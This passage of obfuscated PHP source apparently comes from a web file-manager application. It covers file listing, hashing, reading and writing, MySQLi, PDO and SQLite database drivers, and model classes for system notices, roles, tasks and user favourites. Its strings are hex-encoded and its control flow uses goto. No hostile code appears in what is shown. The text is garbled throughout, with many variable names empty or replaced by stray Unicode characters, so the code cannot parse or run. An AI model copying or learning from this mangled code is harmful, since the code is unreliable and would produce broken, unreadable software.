is_writable($), $숢[1363] => get_mode($)); return $; } private function fileInfo($܀, $夃 = false) { $О =& $_SERVER[Ǿ]; $‘ּ = $this->iconvApp($this->pathThis($܀)); if ($夃) { return array($О[42] => $‘ּ, $О[88] => $this->getPathOuter($܀), $О[43] => $О[202], $О[90] => $this->size($܀), $О[177] => $this->ext($‘ּ)); } $Ɍϭ = array($О[42] => $‘ּ, $О[88] => $this->getPathOuter($܀), $О[43] => $О[202], $О[203] => @filectime($܀), $О[96] => @filemtime($܀), $О[1360] => @fileatime($܀), $О[90] => $this->size($܀), $О[177] => $this->ext($‘ּ), $О[1361] => is_readable($܀), $О[1362] => is_writable($܀), $О[1363] => get_mode($܀)); return $Ɍϭ; } public function exist($) { $ = $this->iconvSystem($); return @file_exists($); } public function isFile($) { $ = $this->iconvSystem($); return @is_file($); } public function isFolder($߷) { $߷ = $this->iconvSystem($߷); return @is_dir($߷); } public function listPath($򽢒, $ = false) { $ =& $_SERVER[Ǿ]; $򽢒 = $this->iconvSystem($򽢒); $򽢒 = rtrim($򽢒, $[18]) . $[18]; $ȷ = array($[87] => array(), $[86] => array()); if (!($ = @opendir($򽢒))) { return $ȷ; } while (($ά = readdir($)) !== !1) { if ($ά == $[20] || $ά == $[1357]) { continue; } $ށ = $򽢒 . $ά; if (is_file($ށ)) { $ȷ[$[86]][] = $this->fileInfo($ށ, $); } else { $ȷ[$[87]][] = $this->folderInfo($ށ, $); } } closedir($); return $ȷ; } public function listAll($Ҡ, &$ʳ = array()) { $ʸ =& $_SERVER[Ǿ]; $Ҡ = $this->iconvSystem($Ҡ); $Ҡ = rtrim($Ҡ, $ʸ[18]) . $ʸ[18]; if (!($၉ = @opendir($Ҡ))) { return $ʳ; } while (($ = readdir($၉)) !== !1) { if ($ == $ʸ[20] || $ == $ʸ[1357]) { continue; } $ٝ = $Ҡ . $; if (is_dir($ٝ) && !is_link($ٝ)) { $ʳ[] = array($ʸ[88] => $ٝ . $ʸ[18], $ʸ[89] => 1, $ʸ[96] => @filemtime($ٝ), $ʸ[90] => 0); $this->listAll($ٝ, $ʳ); } else { $ʳ[] = array($ʸ[88] => $ٝ, $ʸ[89] => 0, $ʸ[96] => @filemtime($ٝ), $ʸ[90] => $this->size($ٝ)); } } closedir($၉); return $ʳ; } public function has($ղ, $Ҍ = false, $ = true) { $С =& $_SERVER[Ǿ]; $ղ = $this->iconvSystem($ղ); $ղ = rtrim($ղ, $С[18]) . $С[18]; if (!($Ό = @opendir($ղ))) { return !1; } $ = 0; $᫸ = 0; $ת = 0; while (($ą㠹 = readdir($Ό)) !== !1) { if ($ą㠹 == $С[20] || $ą㠹 == $С[1357]) { continue; } $֓ = $ղ . $ą㠹; if ($Ҍ) { $ת++; if (@is_file($֓)) { $++; } else { $᫸++; } if ($ת > 10000) { break; } continue; } if ($) { if (@is_file($֓)) { return !0; } } else { if (@is_dir($֓ . $С[18])) { return !0; } } } closedir($Ό); if ($Ҍ) { return array($С[212] => $, $С[213] => $᫸); } return !1; } public function hashSimple($ɭĻ) { $Ζ =& $_SERVER[Ǿ]; if (!$ɭĻ) { return md5($Ζ[22]); } $ɭĻ = $this->iconvSystem($ɭĻ); $ԡ = $this->size($ɭĻ); $؈Ժ = 200; $ي = 50; if ($ԡ <= $؈Ժ * $ي) { return $this->hashMd5($ɭĻ) . $ԡ; } $ = $Ζ[22]; $۶չ = intval($ԡ / $ي); $ = fopen($ɭĻ, $Ζ[1364]); if (!$) { return $; } for ($ = 0; $ < $ي; $++) { fseek_64($, $۶չ * $); $ .= fread($, $؈Ժ); } fseek_64($, $ԡ - $؈Ժ); $ .= fread($, $؈Ժ); fclose($); return md5($) . $ԡ; } public function getContent($ȿ) { $ȿ = $this->iconvSystem($ȿ); return file_get_contents($ȿ); } public function setContent($źۉ, $ǻﵼ = '') { $źۉ = $this->iconvSystem($źۉ); $ = @file_put_contents($źۉ, $ǻﵼ, LOCK_EX); clearstatcache(); @chmod($źۉ, $this->pathAuth); return $ === !1 ? !1 : !0; } public function fileSubstr($ܦ, $ꌴ = 0, $ܜ = false) { $̙ =& $_SERVER[Ǿ]; $ܦ = $this->iconvSystem($ܦ); if ($ܜ === !1) { $ܜ = $this->size($ܦ); } if ($ܜ <= 0) { return $̙[22]; } $ = fopen($ܦ, $̙[1364]); if (!$) { return !1; } fseek_64($, $ꌴ); $ĕ = fread($, $ܜ); fclose($); return $ĕ; } public function upload($, $, $€ = false, $ = REPEAT_REPLACE) { if ($€) { return $this->moveFile($, $); } return $this->copyFile($, $); } public function setModifyTime($̙, $ = '') { @touch($̙, intval($)); } public function download($, $Ṏ) { return $this->iconvSystem($); } } goto Eև; F: class DbMysqli extends Db { public function __construct($ = '') { $ =& $_SERVER[Ǿ]; if (!extension_loaded($[897])) { think_exception(think_lang($[24]) . $[898]); } if (!empty($)) { $this->config = $; if (empty($this->config[$[27]])) { $this->config[$[27]] = $[22]; } } } public function connect($ = '', $ = 0) { $ꄷ =& $_SERVER[Ǿ]; if (!isset($this->linkID[$])) { if (empty($)) { $ = $this->config; } $this->linkID[$] = new mysqli($[$ꄷ[871]], $[$ꄷ[873]], $[$ꄷ[874]], $[$ꄷ[31]], $[$ꄷ[872]] ? intval($[$ꄷ[872]]) : 3306); if (mysqli_connect_errno()) { think_exception(mysqli_connect_error()); } $خ = $this->linkID[$]->server_version; $this->linkID[$]->query($ꄷ[875] . think_config($ꄷ[876]) . $ꄷ[68]); if ($خ > $ꄷ[877]) { $this->linkID[$]->query($ꄷ[878]); } $this->connected = !0; if (1 != think_config($ꄷ[32])) { unset($this->config); } } return $this->linkID[$]; } public function free() { $this->queryID->free_result(); $this->queryID = null; } public function query($ӳ) { $ =& $_SERVER[Ǿ]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $ӳ; if ($this->queryID) { $this->free(); } think_action_status($[33], 1); think_status($[34]); $this->queryID = $this->_linkID->query($ӳ); if ($this->_linkID->more_results()) { while (($Ⱔ = $this->_linkID->next_result()) != NULL) { $Ⱔ->free_result(); } } $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = $this->queryID->num_rows; $this->numCols = $this->queryID->field_count; return $this->getAll(); } } public function execute($륃) { $ =& $_SERVER[Ǿ]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $륃; if ($this->queryID) { $this->free(); } think_action_status($[35], 1); think_status($[34]); $뮮 = $this->_linkID->query($륃); $this->debug(); if (!1 === $뮮) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->affected_rows; $this->lastInsID = $this->_linkID->insert_id; return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if ($this->transTimes == 0) { $this->_linkID->autocommit(!1); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = $this->_linkID->commit(); $this->_linkID->autocommit(!0); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ˀ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$ˀ) { $this->error(); return !1; } } return !0; } private function getAll() { $ԐϬ = array(); if ($this->numRows > 0) { for ($ݣƐ = 0; $ݣƐ < $this->numRows; $ݣƐ++) { $ԐϬ[$ݣƐ] = $this->queryID->fetch_assoc(); } $this->queryID->data_seek(0); } return $ԐϬ; } public function getFields($Џ) { $Ԋ =& $_SERVER[Ǿ]; $ = $this->query($Ԋ[882] . $this->parseKey($Џ)); $ӧ = array(); if ($) { foreach ($ as $ => $) { $ӧ[$[$Ԋ[41]]] = array($Ԋ[42] => $[$Ԋ[41]], $Ԋ[43] => $[$Ԋ[44]], $Ԋ[45] => (bool) ($[$Ԋ[46]] === $Ԋ[22]), $Ԋ[47] => $[$Ԋ[48]], $Ԋ[49] => strtolower($[$Ԋ[50]]) == $Ԋ[51], $Ԋ[52] => strtolower($[$Ԋ[53]]) == $Ԋ[54]); } } return $ӧ; } public function getTables($ڄ = '') { $ =& $_SERVER[Ǿ]; $ԅ = !empty($ڄ) ? $[884] . $ڄ . $[885] : $[886]; $ = $this->query($ԅ); $с = array(); if ($) { foreach ($ as $ޮ => $Բ) { $с[$ޮ] = current($Բ); } } return $с; } public function replace($̨, $ = array()) { $快í =& $_SERVER[Ǿ]; foreach ($̨ as $ => $מҭ) { $ = $this->parseValue($מҭ); if (is_scalar($)) { $[] = $; $צ[] = $this->parseKey($); } } $ = $快í[887] . $this->parseTable($[$快í[283]]) . $快í[888] . implode($快í[60], $צ) . $快í[889] . implode($快í[60], $) . $快í[890]; return $this->execute($); } public function insertAll($, $֦ = array(), $ = false) { $П =& $_SERVER[Ǿ]; if (!is_array($[0])) { return !1; } $ = array_keys($[0]); $´ = array(); foreach ($ as $ޣ) { $ = array(); foreach ($ޣ as $Ӓ => $) { $ = $this->parseValue($); if (is_scalar($)) { $[] = $; } } $´[] = $П[264] . implode($П[60], $) . $П[890]; } array_walk($, array($this, $П[891])); $ԣ = $ ? $П[892] : $П[893]; $ђڭ = $ԣ . $П[894] . $this->parseTable($֦[$П[283]]) . $П[888] . implode($П[60], $) . $П[895] . implode($П[60], $´); return $this->execute($ђڭ); } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $ =& $_SERVER[Ǿ]; $this->error = $this->_linkID->errno . $[4] . $this->_linkID->error; if ($[22] != $this->queryStr) { $this->error .= LNG($[58]) . $this->queryStr; } think_trace($this->error, $[22], $[59]); return $this->error; } public function escapeString($ij) { if ($this->_linkID) { return $this->_linkID->real_escape_string($ij); } else { return addslashes($ij); } } public function parseKey(&$, $ђ = true) { $ =& $_SERVER[Ǿ]; if ($ђ) { $ = $this->parseKeyCheck($); } if ($ != $[191] && !preg_match($[896], $)) { $ = $[389] . trim($, $[389]) . $[389]; } return $; } } class DbPdo extends Db { protected $PDOStatement = null; private $table = ''; public function __construct($ٗ = '') { $뗍 =& $_SERVER[Ǿ]; if (!class_exists($뗍[899])) { think_exception(think_lang($뗍[24]) . $뗍[900]); } if (!empty($ٗ)) { $this->config = $ٗ; if (empty($this->config[$뗍[27]])) { $this->config[$뗍[27]] = array(); } } } public function connect($ = '', $ = 0) { $ =& $_SERVER[Ǿ]; if (!isset($this->linkID[$])) { if (empty($)) { $ = $this->config; } $ = !empty($[$[27]][$[28]]) ? $[$[27]][$[28]] : $this->pconnect; if ($) { $[$[27]][PDO::ATTR_PERSISTENT] = !0; } try { $this->linkID[$] = new PDO($[$[901]], $[$[873]], $[$[874]], $[$[27]]); } catch (PDOException $) { think_exception($->getMessage()); } $this->dbType = $this->_getDsnType($[$[901]]); if (in_array($this->dbType, array($[902], $[903], $[904], $[905]))) { think_exception($[906] . $this->dbType . $[907] . $this->dbType . $[908]); } if (!$this->linkID[$]) { think_exception($[909]); } try { $this->linkID[$]->exec($[910] . think_config($[876])); } catch (Exception $) { } $this->connected = !0; if (1 != think_config($[32])) { unset($this->config); } } return $this->linkID[$]; } public function free() { $this->PDOStatement = null; } public function query($, $͙ = array()) { $ =& $_SERVER[Ǿ]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if (!empty($͙)) { $this->queryStr .= $[911] . print_r($͙, !0) . $[912]; } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($[33], 1); think_status($[34]); $this->PDOStatement = $this->_linkID->prepare($); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $ = $this->PDOStatement->execute($͙); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { return $this->getAll(); } } public function execute($ҁƢ, $ױ = array()) { $ᮬ =& $_SERVER[Ǿ]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $ҁƢ; if (!empty($ױ)) { $this->queryStr .= $ᮬ[911] . print_r($ױ, !0) . $ᮬ[912]; } $؍ = !1; if ($this->dbType == $ᮬ[905]) { if (preg_match($ᮬ[913], $this->queryStr, $ܫ)) { $this->table = think_config($ᮬ[914]) . str_ireplace(think_config($ᮬ[915]), $ᮬ[382], $ܫ[2]); $؍ = (bool) $this->query($ᮬ[916] . strtoupper($this->table) . $ᮬ[68]); } } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($ᮬ[35], 1); think_status($ᮬ[34]); $this->PDOStatement = $this->_linkID->prepare($ҁƢ); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $̴ = $this->PDOStatement->execute($ױ); $this->debug(); if (!1 === $̴) { $this->error(); return !1; } else { $this->numRows = $this->PDOStatement->rowCount(); if ($؍ || preg_match($ᮬ[917], $ҁƢ)) { $this->lastInsID = $this->getLastInsertId(); } return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->beginTransaction(); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = $this->_linkID->commit(); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } private function getAll() { $ = $this->PDOStatement->fetchAll(PDO::FETCH_ASSOC); $this->numRows = count($); return $; } public function getFields($ٮ) { $ =& $_SERVER[Ǿ]; $this->initConnect(!0); if (think_config($[918])) { $򝬹 = str_replace($[919], $ٮ, think_config($[918])); } else { switch ($this->dbType) { case $[902]: case $[920]: $򝬹 = "\123\105\114\105\x43\x54\40\x20\x20\143\x6f\x6c\165\x6d\x6e\x5f\x6e\141\155\x65\40\141\x73\x20\x27\x4e\141\x6d\x65\47\54\x20\x20\x20\x64\141\164\x61\x5f\164\171\160\145\40\141\x73\x20\47\x54\x79\x70\145\47\54\x20\40\x20\143\x6f\x6c\x75\x6d\x6e\x5f\144\x65\x66\x61\165\x6c\x74\40\141\163\x20\x27\x44\x65\x66\141\x75\x6c\164\x27\54\x20\x20\x20\x69\163\137\x6e\x75\x6c\x6c\x61\x62\154\x65\x20\141\163\x20\x27\116\x75\154\x6c\x27\12\x9\x9\106\122\x4f\x4d\11\151\x6e\x66\157\162\155\141\164\x69\157\156\137\x73\143\150\x65\x6d\x61\56\x74\x61\142\x6c\x65\163\x20\101\123\x20\x74\xa\11\11\x4a\117\111\116\11\x69\156\x66\x6f\x72\x6d\x61\164\151\157\x6e\137\x73\143\x68\x65\x6d\x61\x2e\x63\157\x6c\165\155\x6e\163\40\101\123\x20\143\12\x9\x9\117\x4e\x20\x20\x74\56\x74\141\x62\154\145\x5f\143\x61\164\141\154\x6f\x67\x20\75\40\143\x2e\164\x61\142\154\145\x5f\143\141\x74\141\x6c\x6f\x67\12\x9\11\x41\x4e\104\x20\164\x2e\164\141\142\x6c\x65\x5f\x73\x63\x68\145\x6d\x61\40\75\x20\x63\56\164\x61\142\x6c\145\x5f\x73\143\150\x65\155\x61\12\11\x9\101\116\x44\x20\x74\x2e\164\x61\142\x6c\145\137\x6e\x61\x6d\x65\x20\x3d\x20\x63\x2e\x74\x61\x62\154\145\x5f\x6e\141\x6d\x65\12\11\x9\127\x48\105\x52\105\40\40\x20\x74\56\x74\141\142\x6c\145\x5f\156\x61\155\145\x20\75\x20\47{$ٮ}\47"; break; case $[921]: $򝬹 = $[922] . $ٮ . $[923]; break; case $[903]: case $[905]: $򝬹 = $[924] . $[925] . $[926] . strtoupper($ٮ) . $[927] . strtoupper($ٮ) . $[928]; break; case $[929]: $򝬹 = $[930] . $ٮ . $[931]; break; case $[904]: break; case $[932]: default: $򝬹 = $[933] . ($this->dbType == $[932] ? "\140{$ٮ}\140" : $ٮ); } } $ѵ = $this->query($򝬹); $Ҫ = array(); if ($ѵ) { foreach ($ѵ as $Ώ => $Π) { $Π = array_change_key_case($Π); $Π[$[42]] = isset($Π[$[42]]) ? $Π[$[42]] : $[382]; $Π[$[43]] = isset($Π[$[43]]) ? $Π[$[43]] : $[382]; $坈 = isset($Π[$[277]]) ? $Π[$[277]] : $Π[$[42]]; $Ҫ[$坈] = array($[42] => $坈, $[43] => $Π[$[43]], $[45] => (bool) (isset($Π[$[114]]) && $Π[$[114]] === $[22] || isset($Π[$[45]]) && $Π[$[45]] === $[22]), $[47] => isset($Π[$[47]]) ? $Π[$[47]] : (isset($Π[$[66]]) ? $Π[$[66]] : $[382]), $[49] => isset($Π[$[105]]) ? strtolower($Π[$[105]]) == $[51] : (isset($Π[$[67]]) ? $Π[$[67]] : !1), $[52] => isset($Π[$[934]]) ? strtolower($Π[$[934]]) == $[54] : (isset($Π[$[105]]) ? $Π[$[105]] : !1)); } } return $Ҫ; } public function getTables($᩼ = '') { $ =& $_SERVER[Ǿ]; if (think_config($[935])) { $ = str_replace($[936], $᩼, think_config($[935])); } else { switch ($this->dbType) { case $[903]: case $[905]: $ = $[937]; break; case $[902]: case $[920]: $ = $[938]; break; case $[929]: $ = $[939]; break; case $[904]: think_exception(think_lang($[940]) . $[941]); break; case $[921]: $ = $[55] . $[56] . $[57]; break; case $[932]: default: if (!empty($᩼)) { $ = $[884] . $᩼ . $[885]; } else { $ = $[886]; } } } $䇥 = $this->query($); $ = array(); foreach ($䇥 as $ => $Ʈ) { $[$] = current($Ʈ); } return $; } protected function parseLimit($㘖Ǯ) { $ܿ =& $_SERVER[Ǿ]; $Ȱ = $ܿ[22]; if (!empty($㘖Ǯ)) { switch ($this->dbType) { case $ܿ[929]: case $ܿ[921]: $㘖Ǯ = explode($ܿ[60], $㘖Ǯ); if (count($㘖Ǯ) > 1) { $Ȱ .= $ܿ[61] . $㘖Ǯ[1] . $ܿ[62] . $㘖Ǯ[0] . $ܿ[63]; } else { $Ȱ .= $ܿ[61] . $㘖Ǯ[0] . $ܿ[63]; } break; case $ܿ[902]: case $ܿ[920]: break; case $ܿ[904]: break; case $ܿ[903]: case $ܿ[905]: break; case $ܿ[932]: default: $Ȱ .= $ܿ[61] . $㘖Ǯ . $ܿ[63]; } } return $Ȱ; } public function parseKey(&$Ů, $ꯍ = true) { $̦ =& $_SERVER[Ǿ]; if ($ꯍ) { $Ů = $this->parseKeyCheck($Ů); } if ($this->dbType == $̦[932]) { if ($Ů != $̦[191] && !preg_match($̦[896], $Ů)) { $Ů = $̦[389] . trim($Ů, $̦[389]) . $̦[389]; } return $Ů; } else { return parent::parseKey($Ů, $ꯍ); } } public function close() { $this->_linkID = null; } public function error() { $Ҏ =& $_SERVER[Ǿ]; if ($this->PDOStatement) { $ݳ = $this->PDOStatement->errorInfo(); $this->error = $ݳ[1] . $Ҏ[4] . $ݳ[2]; } else { $this->error = $Ҏ[22]; } if ($Ҏ[22] != $this->queryStr) { $this->error .= LNG($Ҏ[58]) . $this->queryStr; } think_trace($this->error, $Ҏ[22], $Ҏ[59]); return $this->error; } public function escapeString($򼔏) { $򌆄 =& $_SERVER[Ǿ]; switch ($this->dbType) { case $򌆄[929]: case $򌆄[902]: case $򌆄[920]: case $򌆄[932]: return addslashes($򼔏); case $򌆄[904]: case $򌆄[921]: case $򌆄[903]: case $򌆄[905]: return str_ireplace($򌆄[68], $򌆄[69], $򼔏); } } protected function parseValue($ƾϾ) { $ =& $_SERVER[Ǿ]; if (is_string($ƾϾ)) { $ΏɅ = strpos($ƾϾ, $[4]) === 0 && in_array($ƾϾ, array_keys($this->bind)); $ƾϾ = $ΏɅ ? $this->escapeString($ƾϾ) : $[942] . $this->escapeString($ƾϾ) . $[942]; } elseif (isset($ƾϾ[0]) && is_string($ƾϾ[0]) && strtolower($ƾϾ[0]) == $[301]) { $ƾϾ = $this->escapeString($ƾϾ[1]); } elseif (is_array($ƾϾ)) { $ƾϾ = array_map(array($this, $[943]), $ƾϾ); } elseif (is_bool($ƾϾ)) { $ƾϾ = $ƾϾ ? $[99] : $[200]; } elseif (is_null($ƾϾ)) { $ƾϾ = $[114]; } return $ƾϾ; } public function getLastInsertId() { $ =& $_SERVER[Ǿ]; switch ($this->dbType) { case $[929]: case $[921]: case $[902]: case $[920]: case $[904]: case $[932]: return $this->_linkID->lastInsertId(); case $[903]: case $[905]: $͆ = $this->table; $ = $this->query("\123\x45\x4c\x45\x43\x54\40{$͆}\x2e\143\x75\162\x72\166\141\x6c\40\x63\x75\x72\162\166\141\154\x20\x46\122\117\x4d\40\x64\x75\141\x6c"); return $ ? $[0][$[944]] : 0; } } } class DbSqlite extends DbSqliteBase { public function query($) { $Ө =& $_SERVER[Ǿ]; if (!CacheLock::fileLock($Ө[23])) { return !1; } $ = parent::query($); CacheLock::fileUnLock($Ө[23]); return $; } public function execute($䫒) { $ =& $_SERVER[Ǿ]; if (!CacheLock::fileLock($[23])) { return !1; } $ = parent::execute($䫒); CacheLock::fileUnLock($[23]); return $; } } goto dرƷ; CΜՎ: class SystemNoticeModel extends ModelBaseLight { public $optionType = "\123\x79\163\164\145\155\x2e\x6e\x6f\x74\x69\143\145\114\151\163\164"; public $field = array("\x6e\x61\155\x65", "\x63\x6f\156\x74\145\x6e\x74", "\141\x75\x74\x68", "\x6d\157\x64\145", "\164\x69\x6d\x65", "\x74\x79\160\x65", "\x6c\x65\166\x65\154", "\x65\156\x61\142\154\145", "\x73\157\x72\x74"); public function listData($ = false, $ƽ = "\x73\157\x72\x74", $ = false) { return parent::listData($, $ƽ, $); } public function add($ډ) { $H =& $_SERVER[Ǿ]; $ = time(); if ($ډ[$H[26]] == $H[2221]) { $ = strtotime($ډ[$H[206]]); } $ډ[$H[206]] = $; return parent::insert($ډ); } public function update($, $ק) { $ =& $_SERVER[Ǿ]; $훸 = $this->listData($); if (!$훸) { return !1; } $Ή = time(); if ($ק[$[26]] == $[2221]) { $Ή = strtotime($ק[$[206]]); } $ק[$[206]] = $Ή; return parent::update($, $ק); } public function remove($̐ڰ) { $櫄 = $this->listData($̐ڰ); if (!$櫄 || $櫄[$_SERVER[Ǿ][1259]]) { return !1; } return parent::remove($̐ڰ); } public function sort($, $Ƥ) { return parent::update($, $Ƥ); } public function enable($˝, $) { return parent::update($˝, array($_SERVER[Ǿ][2222] => $)); } private function initUserOption() { $ɴ =& $_SERVER[Ǿ]; $this->optionType = $ɴ[2223]; $this->modelType = $ɴ[2224]; $this->field = array($ɴ[2225], $ɴ[42], $ɴ[206], $ɴ[43], $ɴ[2226], $ɴ[742], $ɴ[198]); } public function userNoticeGet($ = false) { $this->initUserOption(); return parent::listData($, $_SERVER[Ǿ][401], !0); } public function userNoticeAdd($) { $ =& $_SERVER[Ǿ]; $this->initUserOption(); $ = $this->findByKey($[2225], $[$[401]]); if ($) { return !0; } $ = array($[2225] => $[$[401]], $[42] => $[$[42]], $[206] => $[$[206]], $[43] => isset($[$[43]]) ? $[$[43]] : 1, $[2226] => isset($[$[2226]]) ? $[$[2226]] : 0, $[742] => 0, $[198] => 0); return parent::insert($); } public function userNoticeEdit($ս, $ع) { $this->initUserOption(); return parent::update($ս, $ع); } } class SystemOptionModel extends ModelBaseOption { protected $tableName = "\163\171\163\164\x65\155\137\x6f\x70\164\x69\x6f\x6e"; protected $jsonField = array("\155\145\156\165", "\162\157\x6c\x65", "\x72\x6f\x6c\x65\x47\162\157\x75\160", "\162\x65\147\x69\163\164", "\145\x6d\141\x69\154"); function __construct() { parent::__construct(); } protected function cacheKey($ϼ) { return "\123\x79\163\x74\x65\x6d\117\160\x74\x69\x6f\x6e\x5f{$ϼ}"; } protected function optionDefault($ꅍ = '') { $ =& $_SERVER[Ǿ]; if ($ꅍ == $[22]) { return $GLOBALS[$[16]][$[385]]; } } } class SystemRecordModel extends ModelBaseLight { } goto e㛪; e㛪: class SystemRoleModel extends ModelBaseLight { public $optionType = "\123\171\163\164\x65\155\56\x72\157\x6c\145\x4c\x69\x73\x74"; public $field = array("\156\x61\x6d\145", "\x61\x75\x74\150", "\154\141\x62\x65\x6c", "\144\x69\x73\x70\x6c\x61\x79", "\x73\171\x73\x74\145\x6d", "\144\145\163\143", "\151\147\156\157\x72\x65\x45\x78\164", "\151\147\156\157\x72\145\x46\151\154\x65\123\151\172\x65", "\x61\x64\155\x69\156\x69\x73\x74\162\141\x74\x6f\162", "\x73\157\162\x74"); public function listData($ = false, $ݬ = "\163\157\x72\x74", $鱯 = false) { $ =& $_SERVER[Ǿ]; $ƛ = parent::listData($, $ݬ, $鱯); if (!$) { foreach ($ƛ as $п => $ھ) { if ($ھ[$[2001]] == 1) { $ƛ[$п][$[451]] = LNG($[2227]); } } } return $ƛ; } public function update($Ǟ, $) { $ =& $_SERVER[Ǿ]; $ = parent::listData($Ǟ); $ = $this->findByName($[$[42]]); if (!$ || $ && $[$[401]] != $[$[401]]) { return !1; } if ($[$[2001]] == 1) { $ = array($[42] => $[$[42]], $[1830] => $[$[1830]]); } $this->filterAuth($[$[414]]); return parent::update($Ǟ, $); } public function remove($ڰ) { $Ŏ = parent::listData($ڰ); if (!$Ŏ || $Ŏ[$_SERVER[Ǿ][1259]]) { return !1; } return parent::remove($ڰ); } public function add($) { $ =& $_SERVER[Ǿ]; $ = $[$[42]]; if ($this->findByName($)) { return !1; } $ = array($[421] => $, $[1814] => $[22], $[1810] => $[1818], $[2228] => 1, $[1813] => 0, $[2229] => 0, $[1812] => $this->getSort()); $ = array_merge($, $); $this->filterAuth($[$[414]]); return parent::insert($); } private function getSort() { $߻ =& $_SERVER[Ǿ]; $Ҽ = parent::listData(); $Š = array_to_keyvalue($Ҽ, $߻[22], $߻[1831]); return empty($Š) ? 0 : max($Š) + 1; } private function filterAuth(&$ą) { $ =& $_SERVER[Ǿ]; $ = array(); $ = array_filter(explode($[60], $ą)); foreach ($ as $ą) { $ = explode($[20], $ą); if ($[0] == $[2230] && $[1] != $[1178]) { $۹ = $[0] . $[20] . $[1] . $[2231]; if (!in_array($۹, $)) { $[] = $۹; } } $[] = $ą; } $ą = implode($[60], $); } public function sort($ު, $ҕ) { return parent::update($ު, $ҕ); } } class SystemTaskModel extends ModelBaseLight { public $optionType = "\123\x79\x73\164\145\155\x2e\x74\141\163\x6b\x4c\x69\163\x74"; public $field = array("\156\x61\155\x65", "\164\x79\160\145", "\x65\x76\145\x6e\x74", "\164\x69\x6d\x65", "\144\145\163\143", "\163\x79\163\164\x65\155", "\145\x6e\141\x62\x6c\x65", "\x6c\x61\163\164\x52\165\156", "\x73\x6f\162\x74"); public function listData($—ֿ = false, $ = "\163\157\x72\164", $ = false) { return parent::listData($—ֿ, $, $); } public function add($) { $Ҡ =& $_SERVER[Ǿ]; $ū = $this->findByName($[$Ҡ[42]]); if ($ū) { return !1; } $[$Ҡ[1601]] = 0; $[$Ҡ[1831]] = $this->getSort(); return parent::insert($); } private function getSort() { $ӥ =& $_SERVER[Ǿ]; $ӑ = parent::listData(); $ԓ = array_to_keyvalue($ӑ, $ӥ[22], $ӥ[1831]); return empty($ԓ) ? 0 : max($ԓ) + 1; } public function update($Ҩ, $ۨ) { $ =& $_SERVER[Ǿ]; $ƍ = $this->listData($Ҩ); $ϑ = $this->findByName($ۨ[$[42]]); if (!$ƍ || $ϑ && $ϑ[$[401]] != $ƍ[$[401]]) { return !1; } return parent::update($Ҩ, $ۨ); } public function remove($Ü, $ = false) { $̦ =& $_SERVER[Ǿ]; $Εʾ = $this->listData($Ü); if (!$Εʾ) { return; } if (!$ && $Εʾ[$̦[1259]] == $̦[99]) { return !1; } return parent::remove($Ü); } public function enable($Ĝس, $ގ) { return $this->update($Ĝس, array($_SERVER[Ǿ][2222] => $ގ)); } public function run($Ց) { return $this->update($Ց, array($_SERVER[Ǿ][2232] => time())); } } class UserFavModel extends ModelBase { protected $tableName = "\x75\163\145\x72\x5f\x66\141\166"; protected function cacheFunctionAlias($ۦ) { $ë =& $_SERVER[Ǿ]; return array($ë[1916] => array(USER_ID, $ë[2233])); } protected function listData() { $ʼ =& $_SERVER[Ǿ]; $ѫ = array($ʼ[1631] => USER_ID, $ʼ[483] => 0); $ͺ = $ʼ[2234]; $͘ = $this->field($ͺ)->where($ѫ)->order($ʼ[2235])->select(); return $͘ ? $͘ : array(); } protected function resetCache() { } protected function listView() { $ф =& $_SERVER[Ǿ]; $̝ = $this->listData(); $ = array_filter_by_field($̝, $ф[43], $ф[417]); $Ơ߆ = array_to_keyvalue($, $ф[22], $ф[88]); if (!$Ơ߆) { return $̝; } $ʰ񚑫 = 2000; $➚ = array($ф[418] => array($ф[419], $Ơ߆)); $뵷 = Model($ф[817])->listSource($➚, $ʰ񚑫); $뵷 = array_merge($뵷[$ф[86]], $뵷[$ф[87]]); $뵷 = array_to_keyvalue($뵷, $ф[403]); foreach ($̝ as $œϭ => $߾) { $ = $뵷[$߾[$ф[88]]]; $ = $ ? $ : array(); $̝[$œϭ] = array_merge($, $߾); } return $̝; } protected function addFav($ڄ, $ = '', $Ū = "\x73\x6f\165\x72\143\x65") { $ʔ =& $_SERVER[Ǿ]; $ = array($ʔ[1631] => USER_ID, $ʔ[483] => 0, $ʔ[423] => $Ū, $ʔ[422] => $ڄ); if ($this->where($)->find()) { return !1; } $ = array($ʔ[1631] => USER_ID, $ʔ[483] => 0); $ͪ = $this->where($)->max($ʔ[1831]); if (!$ͪ) { $ͪ = 0; } if (!$ && $Ū == $ʔ[417]) { $ʞ = Model($ʔ[1310])->where(array($ʔ[418] => $ڄ))->find(); if (!$ʞ) { return !1; } $ = $ʞ[$ʔ[42]]; } $ = $this->getAutoName($); $ = array($ʔ[1631] => USER_ID, $ʔ[483] => 0, $ʔ[421] => $, $ʔ[422] => $ڄ, $ʔ[423] => $Ū, $ʔ[1812] => $ͪ + 1); return $this->add($); } protected function remove($Ե䤉) { $ =& $_SERVER[Ǿ]; $ = array($[1631] => USER_ID, $[420] => $Ե䤉); return $this->where($)->delete(); } protected function removeByName($ӽ) { $ =& $_SERVER[Ǿ]; $ʅ = array($[1631] => USER_ID, $[421] => $ӽ, $[483] => 0); return $this->where($ʅ)->delete(); } protected function 